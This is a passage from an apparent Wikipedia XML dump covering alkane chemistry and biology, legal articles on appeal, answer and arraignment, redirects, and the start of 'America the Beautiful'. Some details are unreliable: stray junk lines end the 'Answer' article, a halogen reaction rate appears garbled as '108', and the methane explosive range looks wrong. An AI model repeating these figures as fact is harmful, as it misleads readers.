All alkanes react with [[oxygen]] in a [[combustion]] reaction, although they become increasing difficult to ignite as the number of carbon atoms increases. The general equation for complete combustion is:
:2C&lt;sub&gt;''n''&lt;/sub&gt;H&lt;sub&gt;2''n''+2&lt;/sub&gt; + (3''n''+1)O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 2(''n''+1)H&lt;sub&gt;2&lt;/sub&gt;O + 2''n''CO&lt;sub&gt;2&lt;/sub&gt;
In the absence of sufficient oxygen, [[carbon monoxide]] or even [[soot]] can be formed, as shown below for [[methane]]:
:2CH&lt;sub&gt;4&lt;/sub&gt; + 3O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 2CO + 4H&lt;sub&gt;2&lt;/sub&gt;O
:CH&lt;sub&gt;4&lt;/sub&gt; + O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; C + 2H&lt;sub&gt;2&lt;/sub&gt;O
Alkanes usually burn with a non-luminous flame with very little soot formation.

The [[standard enthalpy change of combustion]], &amp;Delta;&lt;sub&gt;c&lt;/sub&gt;''H''&lt;sup&gt;&lt;s&gt;o&lt;/s&gt;&lt;/sup&gt;, for alkanes increases by about 650&amp;nbsp;kJ/mol per CH&lt;sub&gt;2&lt;/sub&gt; group. Branched-chain alkanes have lower values of &amp;Delta;&lt;sub&gt;c&lt;/sub&gt;''H''&lt;sup&gt;&lt;s&gt;o&lt;/s&gt;&lt;/sup&gt; than straight-chain alkanes of the same number of carbon atoms, and so can be seen to be somewhat more stable.

===Reactions with halogens===
Alkanes react with [[halogen]]s in a so-called [[halogenation]] reaction. The hydrogen atoms of the alkane are progressively replaced, or [[Substitution|substituted]], by halogen atoms. [[Free radical]]s are the reactive species which participate in the reaction, which usually leads to a mixture of products. The reaction is highly [[exothermic reaction|exothermic]], and can lead to an explosion.

The chain mechanism is as follows, using the chlorination of methane as a typical example:
:'''1.''' ''Initiation'': splitting of a chlorine molecule to form two chlorine atoms, initiated by [[ultraviolet radiation]]. A chlorine atom has an unpaired electron and acts as a free radical.
::Cl&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 2Cl&amp;middot;
:'''2.''' ''Propagation'' (two steps): a hydrogen atom is pulled off from methane then the methyl radical pulls a Cl&amp;middot; from Cl&lt;sub&gt;2&lt;/sub&gt;.
::CH&lt;sub&gt;4&lt;/sub&gt; + Cl&amp;middot; &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;&amp;middot; + HCl
::CH&lt;sub&gt;3&lt;/sub&gt;&amp;middot; + Cl&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;Cl + Cl&amp;middot;
:This results in the desired product plus another chlorine radical. This radical will then go on to take part in another propagation reaction causing a chain reaction. If there is sufficient chlorine, other products such as CH&lt;sub&gt;2&lt;/sub&gt;Cl&lt;sub&gt;2&lt;/sub&gt; may be formed.
:'''3.''' ''Termination'': recombination of two free radicals:
::Cl&amp;middot; + Cl&amp;middot; &amp;rarr; Cl&lt;sub&gt;2&lt;/sub&gt;; or
::CH&lt;sub&gt;3&lt;/sub&gt;&amp;middot; + Cl&amp;middot; &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;Cl; or
::CH&lt;sub&gt;3&lt;/sub&gt;&amp;middot; + CH&lt;sub&gt;3&lt;/sub&gt;&amp;middot; &amp;rarr; C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;.
:The last possibility in the termination step will result in an impurity in the final mixture; notably this results in an organic molecule with a longer carbon chain than the reactants.

In the case of methane or ethane, all the hydrogen atoms are equivalent and have an equal chance of being replaced. This leads to what is known as a ''statistical product distribution''. For propane and higher alkanes, the hydrogen atoms which form part of CH&lt;sub&gt;2&lt;/sub&gt; (or CH) groups are preferentially replaced.

The reactivity of the different halogens varies considerably: the relative rates are: [[fluorine]] (108) &gt; [[chlorine]] (1) &gt; [[bromine]] (7&amp;times;10&lt;sup&gt;&amp;minus;11&lt;/sup&gt;) &gt; [[iodine]] (2&amp;times;10&lt;sup&gt;&amp;minus;22&lt;/sup&gt;). Hence the reaction of alkanes with fluorine is difficult to control, that with chlorine is moderate to fast, that with bromine is slow and requires high levels of UV irradiation while the reaction with iodine is practically non-existent and [[Thermodynamics|thermodynamically]] unfavorable.

These reactions are an important industrial route to halogenated hydrocarbons.

===Cracking and reforming===
&quot;[[Cracking]]&quot; breaks larger molecules into smaller ones. This can be done with a thermic or catalytic method. The thermal cracking process follows a homolytic mechanism, that is, bonds break symmetrically and thus pairs of [[free radical]]s are formed. The catalytic cracking process involves the presence of [[acid]] [[catalyst|catalysts]] (usually solid acids such as [[silica-alumina]] and [[zeolite|zeolites]]) which promote a heterolytic (asymmetric) breakage of bonds yielding pairs of [[ion|ions]] of opposite charges, usually a carbo[[cation]] and the very unstable [[hydride]] [[anion]]. Carbon-localized free radicals and cations are both highly unstable and undergo processes of chain rearrangement, C-C scission in position [[beta scission|beta]] (i.e., cracking) and [[intramolecular|intra-]] and [[intermolecular]] hydrogen transfer or [[hydride transfer]]. In both types of processes, the corresponding reactive intermediates (radicals, ions) are permanently regenerated, and thus they proceed by a
self-propagating chain mechanism. The chain of reactions is eventually terminated by radical or ion recombination.

Here is an example of cracking with butane CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;

* 1st possibility (48%): breaking is done on the CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt; bond.

CH&lt;sub&gt;3&lt;/sub&gt;* / *CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;

after a certain number of steps, we will obtain an alkane and an [[alkene]]:
CH&lt;sub&gt;4&lt;/sub&gt; + CH&lt;sub&gt;2&lt;/sub&gt;=CH-CH&lt;sub&gt;3&lt;/sub&gt;

* 2nd possibility (38%): breaking is done on the CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt; bond.

CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;* / *CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;

after a certain number of steps, we will obtain an alkane and an [[alkene]]
from different types: CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt; + CH&lt;sub&gt;2&lt;/sub&gt;=CH&lt;sub&gt;2&lt;/sub&gt;

* 3rd possibility (14%): breaking of a C-H bond

after a certain number of steps, we will obtain an [[alkene]] and hydrogen gas: CH&lt;sub&gt;2&lt;/sub&gt;=CH-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;

===Other reactions===
&lt;!-- translated from [[:de:Alkane]] --&gt;
Alkanes will react with [[steam]] in the presence of a [[nickel]] [[catalyst]] to give [[hydrogen]]. Alkanes can by [[Chlorosulfonation|chlorosulfonated]] and [[nitration|nitrated]], although both reactions require special conditions. The [[fermentation]] of alkanes to [[carboxylic acid]]s is of some technical importance. In the [[Reed reaction]],  [[sulfur dioxide]], [[chlorine]] and [[photochemistry|light]] convert hydrocarbons to [[Sulfonic acid|sulfonyl chloride]]s.

==Hazards==
Methane is explosive in when mixed with air (1&amp;ndash;8% CH&lt;sub&gt;4&lt;/sub&gt;) and is a strong [[greenhouse gas]]: other lower alkanes can also form explosive mixtures with air. The lighter liquid alkanes are highly flammable, although this risk decreases with the length of the carbon chain. Pentane, hexane, heptane and octane are classed as ''dangerous for the environment'' and ''harmful''. The straight chain isomer of hexane is a [[neurotoxin]], and therefore rarely used commercially.

==Alkanes in nature==
&lt;!-- Translated from [[:de:Alkane]] --&gt;
Although alkanes occur in nature in various way, they do not rank biologically among the essential materials. Cycloalkanes with 14 to 18 carbon atoms occur in [[musk]], extracted from [[deer]] of the family [[Moschidae]]. All further information refers to acyclic alkanes.

===Bacteria and archaea===
&lt;!-- Translated from [[:de:Alkane]] --&gt;
[[Image:Rotbuntes Rind.jpg|thumb|right|[[Methanogen]]ic [[archaea]] in the gut of this cow are responsible for some of the [[methane]] in the Earth's atmosphere.]]
Certain types of [[bacteria]] can metabolise alkanes: they prefer even-numbered carbon chains as they are easier to degrade than odd-numbered chains.

On the other hand certain [[archaea]], the [[methanogen]]s, produce large quantites of [[methane]] by the metabolism of [[carbon dioxide]] or other [[oxidation|oxidised]] organic compounds. The energy is released by the oxidation of [[hydrogen]]:
:CO&lt;sub&gt;2&lt;/sub&gt; + 4H&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; CH&lt;sub&gt;4&lt;/sub&gt; + 2H&lt;sub&gt;2&lt;/sub&gt;O

Methanogens are also the producers of [[marsh gas]] in [[wetlands]], and release about two billion tonnes of methane per year&amp;mdash;the atmospheric content of this gas is produced nearly exclusively by them. The methane output of [[cattle]] and other [[herbivore]]s, which can release up to 150&amp;nbsp;litres per day, and of [[termite]]s, is also due to methanogens. They also produce this simplest of all alkanes in the [[intestine]]s of [[human]]s. Methanogenic archaea are hence at the end of the [[carbon cycle]], with carbon being released back into the atmosphere after having been fixed by [[photosynthesis]]. It is probable that our current deposits of [[natural gas]] were formed in a similar way.

===Fungi and plants===
&lt;!-- Translated from [[:de:Alkane]] --&gt;
[[Image:Fuji apple.jpg|thumb|right|Water forms droplets on a thin film of alkane wax on the skin of the apple.]]
Alkanes also play a role, if a minor role, in the biology of the three [[eukaryote|eukaryotic]] groups of organisms: [[Fungus|fungi]], [[plant]]s and [[animal]]s. Some specialised yeasts, e.g. ''Candida tropicale'', ''[[Pichia]]'' sp., ''[[Rhodotorula]]'' sp., can use alkanes as a source of carbon and/or energy. The fungus ''[[Amorphotheca resinae]]'' prefers the longer-chain alkanes in [[aviation fuel]], and can cause serious problems for aircraft in tropical regions.

In plants it is the solid long-chain alkanes that are found; they form a firm layer of wax, the [[cuticle]], over areas of the plant exposed to the air. This protects the plant against water loss, while preventing the [[leaching]] of important minerals by the rain. It is also a protection against bacteria, fungi and harmful [[insect]]s&amp;mdash;the latter sink with their legs into the soft waxlike substance and have difficulty moving. The shining layer on fruits such as apples consists of long-chain alkanes. The carbon chains are usually between twenty and thirty carbon atoms in length and are made by the plants from [[fatty acid]]s. The exact composition of the layer of wax is not only species-dependent, but changes also with the season and such environmental factors as lighting conditions, temperature or humidity.

===Animals===
&lt;!-- Translated from [[:de:Alkane]] --&gt;
Alkanes are found in animal products, although they are less important than unsaturated hydrocarbons. On example is the shark liver oil, which is approximately 14% [[pristane]] (2,6,10,14-tetramethylpentadecane, C&lt;sub&gt;19&lt;/sub&gt;H&lt;sub&gt;40&lt;/sub&gt;). Their occurrence is more important in [[pheromone]]s, chemical messenger materials, on which above all insects are dependent for communication. With some kinds, as the support beetle ''[[Xylotrechus colonus]]'', primarily [[pentacosane]] (C&lt;sub&gt;25&lt;/sub&gt;H&lt;sub&gt;52&lt;/sub&gt;), 3-methylpentaicosane (C&lt;sub&gt;26&lt;/sub&gt;H&lt;sub&gt;54&lt;/sub&gt;) and 9-methylpentaicosane (C&lt;sub&gt;26&lt;/sub&gt;H&lt;sub&gt;54&lt;/sub&gt;), they are transferred by body contact. With others like the [[tsetse fly]] ''Glossina morsitans morsitans'', the pheromone contians the four alkanes 2-methylheptadecane (C&lt;sub&gt;18&lt;/sub&gt;H&lt;sub&gt;38&lt;/sub&gt;), 17,21-dimethylheptatriacontane (C&lt;sub&gt;39&lt;/sub&gt;H&lt;sub&gt;80&lt;/sub&gt;), 15,19-dimethylheptatriacontane (C&lt;sub&gt;39&lt;/sub&gt;H&lt;sub&gt;80&lt;/sub&gt;) and 15,19,23-trimethylheptatriacontane (C&lt;sub&gt;40&lt;/sub&gt;H&lt;sub&gt;82&lt;/sub&gt;), and
acts by smell over longer distances, a useful characteristic for [[pest control]].

===Ecological relations===
&lt;!-- Translated from [[:de:Alkane]] --&gt;
[[Image:Ophrys sphegodes flower.jpg|thumb|right|Early spider orchid (''Ophrys sphegodes'')]]
One example, in which both plant and animal alkanes play a role, is the ecological relationship between the [[sand bee]] (''[[Andrena nigroaenea]]'') and the [[early spider orchid]] (''[[Ophrys sphegodes]]''); the latter is dependent for [[pollination]] on the former. Sand bees use pheromones in order to identify a mate; in the case of ''A. nigroaenea'', the females emit a mixture of [[tricosane]] (C&lt;sub&gt;23&lt;/sub&gt;H&lt;sub&gt;48&lt;/sub&gt;), [[pentacosane]] (C&lt;sub&gt;25&lt;/sub&gt;H&lt;sub&gt;52&lt;/sub&gt;) and [[heptacosane]] (C&lt;sub&gt;27&lt;/sub&gt;H&lt;sub&gt;56&lt;/sub&gt;) in the ratio 3:3:1, and males are attracted by specifically this odour. The orchid takes advantage of this mating arrangement to get the male bee to collect and disseminate its pollen; parts of its flower  not only resemble the appearance of sand bees, but also produce large quantities of the three alkanes in the same ratio as female sand bees. As a result numerous males are lured to the blooms and attempte to copulate with their imaginary partner: although this endeavour is not crowned with success for the bee, it allows the orchid to transfer its pollen,
which will be dispersed after the departure of the frustrated male to different blooms.

==See also==
* [[Cycloalkane]]
* [[Higher alkanes]]
* [[Alkene]]
* [[Alkyne]]
* [[Functional group]]
* [[Cracking (chemistry)]]
* [[List of alkanes]]

{{Alkanes}}

[[Category:Hydrocarbons]]
[[Category:Alkanes]]

{{Link FA|de}}

[[ar:ألكان]]
[[bg:Алкан]]
[[ca:Alcà]]
[[cs:Alkan]]
[[da:Alkan]]
[[de:Alkane]]
[[et:Alkaanid]]
[[el:Αλκάνια]]
[[es:Alcano]]
[[eo:Alkano]]
[[fr:Alcane]]
[[ko:알케인]]
[[it:Alcani]]
[[he:אלקאן]]
[[lv:Alkāni]]
[[nl:Alkaan]]
[[ja:アルカン]]
[[nn:Alkan]]
[[pl:Alkan]]
[[pt:Alcano]]
[[ru:Алканы]]
[[sk:Alkán]]
[[sr:Алкан]]
[[su:Alkana]]
[[fi:Alkaani]]
[[sv:Alkan]]
[[vi:Ankan]]
[[zh:烷烃]]</text>
    </revision>
  </page>
  <page>
    <title>Appeal</title>
    <id>640</id>
    <revision>
      <id>38794131</id>
      <timestamp>2006-02-08T18:27:36Z</timestamp>
      <contributor>
        <username>DS1953</username>
        <id>92631</id>
      </contributor>
      <comment>fix circular redirect</comment>
      <text xml:space="preserve">:''This article is about the legal term. For other usages see [[Appeal (disambiguation)]].''

An '''appeal''' is the act or fact of challenging a judicially cognizable and binding [[judgment]] to a higher judicial authority. In [[common law]] jurisdictions, most commonly, this means formally filing a [[notice of appeal]] with a lower court, indicating one's intention to take the matter to the next higher court with jurisdiction over the matter, and then actually filing the appeal with the appropriate [[Court of Appeals|appellate court]]. 

==United States==
The [[United States]] legal system generally recognizes two types of appeals: a trial ''de novo'' or an appeal on the record.

A [[trial de novo]] is usually available for review of informal proceedings conducted by [[administrative agency|administrative agency]], referees, masters, commissioners and some minor judicial tribunals in proceedings that do not provide all the procedural attributes of a formal judicial [[trial (law)|trial]].  If unchallenged, these decisions have the power to settle more minor legal disputes once and for all.  If a party is dissatisfied with the finding of such a tribunal, one generally has the power to request a trial ''de novo'' by a [[court of record]].  In such a proceeding, all issues and [[evidence (law)|evidence]] may be developed newly, as though never heard before, and one is not restricted to the evidence heard in the lower proceeding.  Sometimes, however, the decision of the lower proceeding is itself admissible as evidence, thus helping to curb frivolous appeals.

In an appeal on the record from a decision in a judicial proceeding, both [[appellant]] and [[respondent]] are bound to base their arguments wholly on the proceedings and body of evidence as they were presented in the lower tribunal.  Each seeks to prove to the higher court that the result they desired was the just result.  [[Precedent]] and [[case law]] figure prominently in the arguments.  In order for the appeal to succeed, the appellant must prove that the lower court committed [[reversible error]], that is, an impermissible action by the court acted to cause a result that was unjust, and which would not have resulted had the court acted properly.  Some examples of reversible error would be erroneously instructing the [[jury]] on the law applicable to the case, permitting seriously [[improper argument]] by an attorney, admitting or excluding evidence improperly, acting outside the court's jurisdiction, injecting bias into the proceeding or appearing to do so, juror misconduct, etc.  The failure to formally object at the time, to what one views as improper action in the lower court, may result in the affirmance of the lower court's judgment on the grounds that one did not &quot;preserve the issue for appeal&quot; by objecting.

In cases where a [[judge]] rather than a [[jury]] decided issues of fact, an appellate court will apply an ''abuse of discretion'' standard of review. Under this standard, the appellate court gives deference to the lower court's view of the evidence, and reverses its decision only if it was a clear abuse of discretion. This is usually defined as a decision outside the bounds of reasonableness.  On the other hand, the appellate court normally gives less deference to a lower court's decision on issues of law, and may reverse if it finds that the lower court applied the wrong legal standard.

In some rare cases, an appellant may successfully argue that the law under which the lower decision was rendered was [[unconstitutional]] or otherwise invalid, or may convince the higher court to order a new trial on the basis that evidence earlier sought was concealed or only recently discovered.  In the case of new evidence, there must be a high probability that its presence or absence would have made a material difference in the trial.  Another issue suitable for appeal in criminal cases is effective assistance of counsel. If a defendant has been convicted and can prove that his lawyer did not adequately handle his case ''and'' that there is a reasonable probability that the result of the trial would have been different had the lawyer given competent representation, he is entitled to a new trial.

An appellate court is a [[court]] that hears cases in which a [[lower court]] -- either a [[trial court]] or a lower-level appellate court &amp;#8212; has already made a decision, but in which at least one party to the action wants to challenge this ruling based upon some legal grounds that are allowed to be appealed either by right or by leave of the appellate court.  These grounds typically include errors of [[law]], [[fact]], or [[due process]].

In different jurisdictions, appellate courts are also called appeals courts, courts of appeals, superior courts, or supreme courts.

==Who can appeal==
A party who files an appeal is called an ''appellant'', and a party on the other side is an ''appellee'' or ''respondent'' or, in some jurisdictions, the party who files is known as a ''petitioner'' and the party being sued is designated the ''respondent''.  Cross-appeals can also occur, when more than one party to a case is unhappy with the decision in some way, often when the winning party claims that more damages were deserved than were awarded.

An appeal ''as of right'' is one that is guaranteed by statute or some underlying constitutional or legal principle.  The appellate court cannot refuse to listen to the appeal.  An appeal ''by leave'' or ''permission'' requires the appellant to move for leave to appeal; in such a situation either or both of the lower court and the appellate court have the discretion to grant or refuse the appellant's demand to appeal the lower court's decision.

In [[tort]], [[equity]], or other civil matters either party to a previous case may file an appeal.  In criminal matters, however, the state or prosecution generally has no appeal ''as of right''.  And due to the [[double jeopardy]] principle, the state or prosecution may never appeal a jury or bench verdict.  But in some jurisdictions, the state or prosecution may appeal ''as of right'' from a trial court's dismissal of an indictment in whole or in part or from a trial court's granting of a defendant's suppression motion.  Likewise, in some jurisdictions, the state or prosecution may appeal an issue of law ''by leave'' from the trial court and/or the appellate court.

==How an appeal is processed==
Generally speaking the appellate court examines the record of [[evidence (law)|evidence]] presented in the trial court and the [[law]] that the lower court applied and decides whether that decision was legally sound or not.  The appellate court will typically be deferential to the lower court's findings of fact (such as whether a defendant committed a particular act), unless clearly erroneous, and so will focus on the court's application of the law to those facts (such as whether the act found by the court to have occurred fits a legal definition at issue).  

If the appellate court finds no defect, it &quot;affirms&quot; the judgment.  If the appellate court does find a legal defect in the decision &quot;below&quot; (i.e., in the lower court), it may &quot;modify&quot; the ruling to correct the defect, or it may nullify (&quot;reverse&quot; or &quot;vacate&quot;) the whole decision or any part of it.  It may in addition send the case back (&quot;remand&quot; or &quot;remit&quot;) to the lower court for further proceedings to remedy the defect.  

In some cases an appellate court may review a lower court decision ''de novo'' (or completely), challenging even the lower court's findings of fact.  This might be the proper standard of review, for example, if the lower court resolved the case by granting a pre-trial [[motion to dismiss]] or motion for [[summary judgment]] which is usually based only upon written submissions to the trial court and not on any trial testimony.  

Another situation is where appeal is by way of ''re-hearing''. Certain jurisdictions permit certain appeals to cause the trial to be heard afresh in the appellate court. An example would be an appeal from a [[Magistrate's court]] to the [[Crown Court]] in [[England and Wales]].

Sometimes the appellate court finds a defect in the procedure the parties used in filing the appeal and dismisses the appeal without considering its merits, which has the same effect as affirming the judgment below.  (This would happen, for example, if the appellant waited too long, under the appellate court's rules, to file the appeal.)  In [[England]] and many other jurisdictions, however, the phrase ''appeal dismissed'' is equivalent to the [[United States|U.S.]] term ''affirmed''; and the phrase ''appeal allowed'' is equivalent to the U.S. term ''reversed''.

Generally there is no [[Jury trial|trial]] in an appellate court, only consideration of the [[record]] of the evidence presented to the trial court and all the pre-trial and trial court proceedings are reviewed &amp;#8212; unless the appeal is by way of re-hearing, new evidence will usually only be considered on appeal in ''very'' rare instances, for example if that material evidence was unavailable to a party for some very significant reason such as [[prosecutorial misconduct]].

In some systems an appellate court will only consider the written decision of the lower court, together with any written evidence that was before that court and is relevant to the appeal. In other systems, the appellate court will normally consider the record of the lower court. In those cases the record will first be certified by the lower court.

The appellant has the opportunity to present arguments for the granting of the appeal and the appellee (or respondent) can present arguments against it.  Arguments of the parties to the appeal are presented through their appellate [[lawyer]]s, if represented, or ''[[pro se]]'' if the party has not engaged legal representation.  Those arguments are presented in written [[brief (law)|briefs]] and sometimes in [[oral argument]] to the court at a [[hearing (law)|hearing]]. At such hearings each party is allowed a brief presentation at which the appellate judges ask questions based on their review of the record below and the submitted briefs.

It is important to note that in an [[adversarial system]] appellate courts do not have the power to review lower court decisions unless a party appeals it. Therefore if a lower court has ruled in an improper manner or against [[legal precedent]] that judgment will stand even if it might have been overturned on appeal.

In the [[United States]], a [[lawyer]] traditionally starts an oral argument to any appellate court with the words &quot;May it please the court.&quot; 

==See also==
* [[List of legal topics]]
* [[Appellate review]]
* [[Supreme Court of the United States]]
* [[Court of Appeal of England and Wales]]

[[Category:Court systems]]
[[Category:Appellate_review]]

[[cs:Apelační soud]]
[[de:Berufung (Recht)]]
[[es:Apelación]]
[[hu:Fellebbezés]]
[[ja:抗告]]
[[nl:Hoger beroep]]
[[pl:Apelacja (prawo)]]
[[pt:Recurso de apelação]]
[[sv:Appellationsdomstol]]
[[th:ศาลอุทธรณ์]]
[[zh:上訴法院]]</text>
    </revision>
  </page>
  <page>
    <title>Answer</title>
    <id>642</id>
    <revision>
      <id>41984073</id>
      <timestamp>2006-03-03T01:13:16Z</timestamp>
      <contributor>
        <username>Met8304</username>
        <id>1020725</id>
      </contributor>
      <text xml:space="preserve">''For the US radical anti-war protest group, see [[A.N.S.W.E.R.]]''

''See also [[Google Answers]], [[Answers.com]]''
{{CivilProcedure}}

An '''answer''' (derived from ''and'', against, and the same root as ''swear'') was originally a solemn assertion in opposition to some one or something, and thus generally any counter-statement or defence, a reply to a question or objection, or a correct solution of a problem.  In the [[common law]], an '''answer''' is the first [[pleading]] by a [[defendant]], usually filed and served upon the [[plaintiff]] within a certain strict time limit after a civil [[complaint]] or criminal [[information]] or [[indictment]] has been served upon the defendant.  It may have been preceded by an ''optional'' &quot;pre-answer&quot; [[motion to dismiss]] or [[demurrer]]; if such a motion is unsuccessful, the defendant ''must'' file an answer to the complaint or risk an adverse [[default judgment]]. 

The ''answer'' establishes which allegations ([[cause of action]] in civil matters) set forth by the complaining party will be contested by the defendant, and states all the defendant's [[Defense (legal)|defense]]s, thus establishing the nature and parameters of the controversy to be decided by the [[court]].

In the case of a criminal case there is usually an [[arraignment]] or some other kind of appearance before the court by the defendant.  The pleading in the criminal case, which is entered on the record in open court, is either [[guilt|guilty]] or not guilty. Generally speaking in private, civil cases there is no guilt or innocence. There is only a judgment that grants money damages or some other kind of [[equitable remedy]] such as [[restitution]] or an [[injunction]]. Criminal cases may lead to [[fine]]s or other [[punishment]], such as [[imprisonment]].

The famous Latin ''Responsa Prudentum'' (&quot;answers of the learned&quot;) were the accumulated views of many successive generations of Roman lawyers, a body of legal opinion which gradually became authoritative.

In music an &quot;'''answer'''&quot; is the technical name in counterpoint for the repetition by one part or instrument of a theme proposed by another. 

{{wiktionarypar|answer}}

G.
sup garrett
1902 1807
1983 1861
1872 1961
(back)
1309 1827
1931 1962</text>
    </revision>
  </page>
  <page>
    <title>Appellate court</title>
    <id>643</id>
    <revision>
      <id>24603435</id>
      <timestamp>2005-10-02T23:58:37Z</timestamp>
      <contributor>
        <username>Tarret</username>
        <id>450465</id>
      </contributor>
      <text xml:space="preserve">#Redirect [[Appeal]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic and logic unit</title>
    <id>644</id>
    <revision>
      <id>15899172</id>
      <timestamp>2005-04-02T15:48:05Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[arithmetic logic unit]]</comment>
      <text xml:space="preserve">#REDIRECT [[arithmetic logic unit]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic and logical unit</title>
    <id>645</id>
    <revision>
      <id>15899173</id>
      <timestamp>2005-04-02T15:45:35Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[arithmetic logic unit]]</comment>
      <text xml:space="preserve">#REDIRECT [[arithmetic logic unit]]</text>
    </revision>
  </page>
  <page>
    <title>Aircraft Carrier</title>
    <id>647</id>
    <revision>
      <id>15899174</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Aircraft carrier]]
</text>
    </revision>
  </page>
  <page>
    <title>Actress</title>
    <id>648</id>
    <revision>
      <id>15899175</id>
      <timestamp>2002-06-12T19:07:50Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Actor]]</text>
    </revision>
  </page>
  <page>
    <title>Arraignment</title>
    <id>649</id>
    <revision>
      <id>41736393</id>
      <timestamp>2006-03-01T11:08:27Z</timestamp>
      <contributor>
        <username>Acerperi</username>
        <id>173184</id>
      </contributor>
      <text xml:space="preserve">{{CrimPro}}
'''Arraignment''' is a [[common law]] term for the formal reading of a [[crime|criminal]] [[complaint]], in the presence of the [[defendant]], to inform him of the charges against him. In response to arraignment, the accused is expected to enter a [[plea]]. Acceptable pleas vary from jurisdiction to jurisdiction, but they generally include &quot;guilty&quot;, &quot;not guilty&quot;, and the [[peremptory pleas]] (or pleas in bar), which set out reasons why a trial cannot proceed. In addition, [[United States|US]] jurisdictions allow pleas of &quot;[[nolo contendere]]&quot; (no contest) and the &quot;[[Alford plea]]&quot; in some circumstances. 

In the [[UK]] arraignment is the first of eleven stages in a criminal trial, and involves the [[clerk]] of the [[court]] reading out the [[indictment]]. The defendant is asked whether they plead guilty or not guilty to each individual charge. 

==Guilty and Not Guilty pleas==
If the defendant pleads guilty an [[preliminary hearing|evidentiary hearing]] usually follows. The court is not required to accept a guilty plea. During that hearing the judge will assess the offense, [[mitigating factor]]s, and the defendant's character; and then pass [[Sentence (law)|sentence]]. If the defendant pleads [[not guilty]], a date will be set for a [[preliminary hearing]] or [[Jury trial|trial]].

==What if the defendant enters no plea?==
In the past, a defendant who refused to plea (or, &quot;stood mute&quot;) would be subjected to [[Crushing|peine forte et dure]] ([[Law French]] for &quot;strong and hard punishment&quot;). But today in all common law jurisdictions, defendants who refuse to enter a plea will have a plea of not guilty entered for them on their behalf.

==The Federal Rules of Criminal Procedure==
The US ''[[Federal Rules of Criminal Procedure]]'' state: &quot;...arraignment shall...[consist of an] open...reading [of] the [[indictment]]...to the defendant...and calling on him to plead thereto. He shall be given a copy of the indictment...before he is called upon to plead.&quot;

[[category:legal terms]]
[[Category:Prosecution]]</text>
    </revision>
  </page>
  <page>
    <title>Abbeville France</title>
    <id>650</id>
    <revision>
      <id>15899177</id>
      <timestamp>2003-04-03T12:12:24Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Abbeville]]</text>
    </revision>
  </page>
  <page>
    <title>America the Beautiful</title>
    <id>651</id>
    <revision>
      <id>39174236</id>
      <timestamp>2006-02-11T05:26:13Z</timestamp>
      <contributor>
        <username>Pusher robot</username>
        <id>718079</id>
      </contributor>
      <comment>/* Sources/external links */</comment>
      <text xml:space="preserve">&quot;'''America the Beautiful'''&quot; is an [[United States|American]] [[patriotic song]] which rivals &quot;[[The Star-Spangled Banner]]&quot;, the [[national anthem]] of the United States, in popularity.  It is often found in [[Christian]] [[hymn]]als in a wide variety of churches in the United States, and may be sung as part of a Christian service of worship to [[The Trinity|God]].

==History==

The words are by [[Katharine Lee Bates]], an English teacher at [[Wellesley College]]. She had taken a train trip to [[Colorado Springs, Colorado|Colorado Springs]], [[Colorado]] in [[1893]] to teach a short summer school session at [[Colorado College]], and several of the sights on her trip found their way into her poem:
*The [[World's Columbian Exposition]] in [[Chicago, Illinois]], the &quot;White City&quot; with its promise of the future contained within its alabaster buildings.
*The wheat fields of [[Kansas]], through which her train was riding on [[July 4]].
*The majestic view of the [[Great Plains]] from atop [[Pike's Peak]].
On that mountain, the words of the poem started to come to her, and she wrote them down upon returning to her hotel room at the original Antlers Hotel. The poem was initially published two years later in ''[[The Congregationalist]]'', to commemorate the [[Independence Day (US)|Fourth of July]]. It quickly caught the public's fancy. Amended versions were published in 1904 and 1913.

Several existing pieces of music were adapted to the poem. The [[hymn]] ''Materna'', composed in [[1882]] by [[Samuel A. Ward]], was generally considered the best music as early as 1910 and is still the popular tune today. Ward had been similarly inspired. The tune came to him while he was on a ferryboat trip from [[Coney Island]] back to his home in [[New York City]] after a leisurely summer day, and he immediately wrote it down. Ward died in 1903, not knowing the national stature his music would attain. Miss Bates was more fortunate, as the song's popularity was well-established by her death in 1929.

